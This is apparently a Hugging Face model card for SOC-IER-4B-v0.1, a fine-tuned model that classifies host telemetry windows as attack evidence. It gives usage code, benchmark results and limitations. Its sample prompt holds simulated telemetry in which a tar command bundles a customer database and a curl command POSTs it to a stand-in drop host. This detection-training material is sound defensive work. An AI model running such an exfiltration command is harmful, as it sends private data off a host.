SOC-IER-4B-v0.1 — SOC Incident Evidence Reasoning

🇰🇷 한국어 카드: MODEL_CARD.ko.md

SOC-IER-4B-v0.1 reads a short window of host telemetry (process executions, DNS, HTTP, network flows) together with a list of candidate evidence ids, and answers one question: does this window contain observed evidence of an attack step? It replies with a single JSON object — an incident category, the evidence ids it relies on, a SUPPORTED / INSUFFICIENT / UNKNOWN decision and a short rationale — and it may only cite ids that were given to it.

It is a LoRA fine-tune of Qwen/Qwen3-4B-Instruct-2507 (revision cdbee75f), trained on 603 examples from an in-house cyber range plus a small public auxiliary set, and merged back into the base weights. This repository holds the merged weights in fp16 (the merge itself was computed in fp32, then cast once to fp16) so the model runs directly in Transformers or vLLM without PEFT. The original adapter is published separately as ThakiCloud/SOC-IER-4B-v0.1-LoRA; these merged weights passed a pre-registered equivalence check against base + adapter (see Merge equivalence), which is why the adapter's measured numbers are reported here as this model's numbers.

On the held-out sealed benchmark (48 independent incident chains from an attack family the model never saw in training) it reaches a decision macro-F1 of 0.625 (95% CI 0.604–0.643), against 0.388 for the untuned base and 0.385 for the security-specialised 20B model CyberPal2.0-20B run zero-shot on the same inputs. That comparison holds for this task and this benchmark only; see Limitations.

What it is for — and what it is not

• For: research on evidence-grounded SOC reasoning; assisting an analyst by proposing which events in a window support an attack hypothesis; shadow evaluation next to an existing detection pipeline.
• Not for: automated blocking, isolation or any response action taken on the model's output alone. The model never predicts UNKNOWN correctly (F1 0 on that class) and still labels 6.4% of benign windows as SUPPORTED. Its behaviour on production telemetry has not been validated.

How to use

The model was trained and evaluated with the system prompt below, verbatim. The user turn is a header line, one [id] key=value … line per event, the candidate id list, and the closing sentence. Use the same rendering; the output contract (enum values, id discipline) depends on it.

You are a SOC analyst. You receive an incident context, a short window of host telemetry events, and the list of candidate evidence ids. Decide whether the window contains observed evidence of an attack step.
Rules: cite only ids from the candidate list; never cite an id that is not listed. Output SUPPORTED only when the cited events themselves show the attack behaviour; output INSUFFICIENT when the events are ordinary activity without such evidence; output UNKNOWN when the events cannot be attributed either way. Do not infer a whole attack chain from a single ordinary event.
Answer with one JSON object only: {"incident_category": one of ["credential_compromise", "data_exfiltration", "container_compromise", "service_account_abuse", "supply_chain_loader", "discovery_sweep", "network_block_correlation", "none"], "supporting_evidence_ids": [ids], "decision": one of ["SUPPORTED", "INSUFFICIENT", "UNKNOWN"], "rationale": "<= 60 words"}.

Incident context: host=app-web-02; window 2026-03-14T09:12:01.000Z .. 2026-03-14T09:13:40.000Z; 8 events; source=range telemetry (eBPF/proxy).

Events:
[ev_a1f3c9d2] ts=2026-03-14T09:12:01.120Z type=proc.exec host=app-web-02 user=uid:1000 proc=python3 cmd="python3 app.py"
[ev_7b20e4aa] ts=2026-03-14T09:12:33.004Z type=proc.exec host=app-web-02 user=uid:1000 proc=tar cmd="tar czf /tmp/bundle.tgz /srv/app/customers.db"
[ev_0c9d11e7] ts=2026-03-14T09:12:34.410Z type=net.dns host=app-web-02 qname=files.example-drop.net
[ev_5e88f0b1] ts=2026-03-14T09:12:34.602Z type=proc.exec host=app-web-02 user=uid:1000 proc=curl cmd="curl -s -X POST --data-binary @/tmp/bundle.tgz https://files.example-drop.net/upload"
[ev_d44a72c3] ts=2026-03-14T09:12:34.611Z type=net.flow host=app-web-02 proc=curl dst_ip=203.0.113.25 dst_port=443 proto=tcp
[ev_9f1b6a05] ts=2026-03-14T09:13:02.900Z type=proc.exec host=app-web-02 user=uid:1000 proc=ls cmd="ls -la /srv/app"
[ev_3a7e9c44] ts=2026-03-14T09:13:20.311Z type=net.flow host=app-web-02 proc=python3 dst_ip=10.0.12.5 dst_port=5432 proto=tcp
[ev_b8c2d6f0] ts=2026-03-14T09:13:40.000Z type=proc.exec host=app-web-02 user=uid:1000 proc=sleep cmd="sleep 30"

Candidate evidence ids: ev_a1f3c9d2, ev_7b20e4aa, ev_0c9d11e7, ev_5e88f0b1, ev_d44a72c3, ev_9f1b6a05, ev_3a7e9c44, ev_b8c2d6f0

Respond with the JSON object only.

Transformers

import torch
from transformers import AutoModelForCausalLM, AutoTokenizer

repo = "ThakiCloud/SOC-IER-4B-v0.1"
tok = AutoTokenizer.from_pretrained(repo)
model = AutoModelForCausalLM.from_pretrained(repo, dtype="auto", device_map="auto")   # weights are fp16 — keep them fp16

messages = [{"role": "system", "content": SYSTEM_PROMPT}, {"role": "user", "content": USER_PROMPT}]
enc = tok.apply_chat_template(messages, add_generation_prompt=True, return_tensors="pt", return_dict=True).to(model.device)
out = model.generate(**enc, max_new_tokens=320, do_sample=True, temperature=0.3, top_p=0.95)
print(tok.decode(out[0][enc["input_ids"].shape[1]:], skip_special_tokens=True))

inference_example.py in this repository is the complete runnable version, including a check that the answer respects the schema and cites only candidate ids.

vLLM (structured output, as in the evaluation)

from vllm import LLM, SamplingParams
from vllm.sampling_params import StructuredOutputsParams

SCHEMA = {"type": "object", "additionalProperties": False,
          "required": ["incident_category", "supporting_evidence_ids", "decision", "rationale"],
          "properties": {"incident_category": {"type": "string", "enum": ["credential_compromise", "data_exfiltration", "container_compromise",
                                                                           "service_account_abuse", "supply_chain_loader", "discovery_sweep",
                                                                           "network_block_correlation", "none"]},
                         "supporting_evidence_ids": {"type": "array", "items": {"type": "string", "maxLength": 24}, "maxItems": 16},
                         "decision": {"type": "string", "enum": ["SUPPORTED", "INSUFFICIENT", "UNKNOWN"]},
                         "rationale": {"type": "string", "maxLength": 480}}}

llm = LLM(model="ThakiCloud/SOC-IER-4B-v0.1", dtype="auto", max_model_len=8192)   # resolves to float16; do not force bfloat16
sp = SamplingParams(temperature=0.3, top_p=0.95, max_tokens=320, structured_outputs=StructuredOutputsParams(json=SCHEMA))
print(llm.chat([messages], sp)[0].outputs[0].text)

Decoding used for every number on this card: temperature 0.3, top_p 0.95, max 320 new tokens, three sampled runs with a majority vote on the decision. Greedy decoding works as well and was used for the merge-equivalence check below. The schema constrains the enums but deliberately leaves evidence ids free, so citing an id outside the candidate list (a "phantom") remains measurable.

Results

All numbers below were measured by us with vLLM 0.28.0, bf16, the same prompts, the same parser and the same decoding, on one NVIDIA H100 NVL (CyberPal2.0-20B on one H200 NVL — same software, same inputs). Confidence intervals are 95% bootstrap intervals resampling incident chains (2,000 draws), because chains — not windows — are the independent unit.

Sealed benchmark (v6 capture, 48 independent chains, 239 windows, attack family not present in training; evaluated once, after model selection):

Development set (v2 capture, 12 chains, 70 windows; same capture generation as training, chains disjoint):

Metric definitions: decision macro-F1 averages F1 over the three decision classes, so the unreachable UNKNOWN class caps it near 2/3 for every model; evidence recall/precision are computed on windows whose gold decision is SUPPORTED; false-SUPPORTED is the share of non-attack windows labelled SUPPORTED; incident miss is the share of attack windows not labelled SUPPORTED; phantom ids counts windows citing an id outside the candidate list.

What the table does and does not say: fine-tuning on 603 task examples moved a 4B model from the zero-shot band (0.385–0.391, shared by the 4B base, the 8B base and the 20B security model) to 0.625 with non-overlapping intervals, and the 4B fine-tune also beat the 8B fine-tune trained with the same recipe. It does not say that CyberPal2.0-20B is a weaker security model in general — it was evaluated zero-shot, on our output contract, on telemetry windows it was never trained for. Its false-SUPPORTED rate (0.336) is already half that of the Qwen bases.

Training

The recipe follows the public LoRA recipe on the CyberSecQwen-4B model card, with epochs reduced from 10 to 3 for the small set. No hyperparameter was changed after seeing evaluation results; the sealed set was evaluated once.

The training and evaluation data are not distributed: the cyber-range telemetry is internal (hostnames, addresses and scenario scripts of our own test environment — no customer or production data), and the WitFoo-derived windows are a re-rendering of a public dataset you can rebuild from the source.

Limitations

• UNKNOWN is never predicted correctly (F1 0 on dev and sealed, for this model and every baseline). Windows where the evidence genuinely cannot be attributed are answered as SUPPORTED or INSUFFICIENT. Treat UNKNOWN as unsupported in v0.1.
• False-SUPPORTED 6.4% on the sealed set: about one benign window in sixteen is labelled as attack evidence. In a SOC that is a real cost; it is one of the two targets for the next version.
• In-domain benchmark. Train, dev and sealed data come from the same cyber range and the same event rendering. Attack families differ between train and sealed, but sensors, hosts and benign background do not. Generalisation to other telemetry formats, other EDR/eBPF schemas or real production traffic is unverified.
• Small evaluation. 239 sealed windows over 48 chains: one window is 0.4% of the set, and the confidence intervals above are the honest resolution. Differences smaller than a few points are not interpretable.
• Labels are structural, not expert. Gold decisions follow the attack script; an analyst might reasonably disagree on individual windows.
• Context. Evaluated with windows of ≤ 16 candidate events (~2–3k tokens) and max_model_len 8,192. Longer windows were not tested.
• English prompts only. The task rendering is English; other languages were not evaluated.
• Merged weights are not bit-identical to base + adapter. The LoRA delta is small relative to 16-bit weight resolution. An fp32 merge saved in bf16 lost part of it (see below); the published fp16 merge did not, within the resolution of our check. If you re-quantize or re-cast these weights, re-measure.

Merge equivalence

Merging a LoRA into 16-bit weights can silently change the model, so the merged checkpoint was compared with base + adapter on the same 309 windows (dev 70 + sealed 239), same prompts, same decoding, under seven pre-registered pass/fail criteria fixed before any result was seen. Two merges were built; only the one that passed is published.

Base + adapter re-measured in the same job: sealed macro-F1 0.6252 [0.604, 0.643], evidence recall 0.910, false-SUPPORTED 0.064; dev 0.618 / 0.889. The fp16 merge reproduces the adapter's sealed majority result exactly and differs from it on 6 of 309 incident categories and 1 evidence set under greedy decoding. The adapter was evaluated through vLLM's LoRA path in bf16, the merged weights in fp16 (dtype="auto"); reading the fp16 weights as bf16 would reintroduce the loss seen in the first row.

License and attribution

The weights are released under Apache-2.0. They are a derivative of Qwen3-4B-Instruct-2507 (Apache-2.0, © Alibaba Cloud); the base license text is included as LICENSE-Qwen3. The auxiliary training data derives from witfoo/precinct6-cybersecurity (Apache-2.0). No AI Hub or other restricted-redistribution corpus was used.

Reproducing

• Adapter, training configuration and per-file checksums: ThakiCloud/SOC-IER-4B-v0.1-LoRA
• Evaluation: vLLM 0.28.0 (torch 2.13, transformers 5.15.1), max_model_len 8192, structured output with the schema above, temperature 0.3 / top_p 0.95 / 320 tokens, 3 runs, majority vote on the decision, chain-bootstrap CI (2,000 resamples). Base + adapter in bf16 (vLLM LoRA path); these merged weights in fp16.

Citation

@misc{thakicloud2026socier,
  title  = {SOC-IER-4B-v0.1: SOC Incident Evidence Reasoning},
  author = {ThakiCloud},
  year   = {2026},
  url    = {https://huggingface.co/ThakiCloud/SOC-IER-4B-v0.1}
}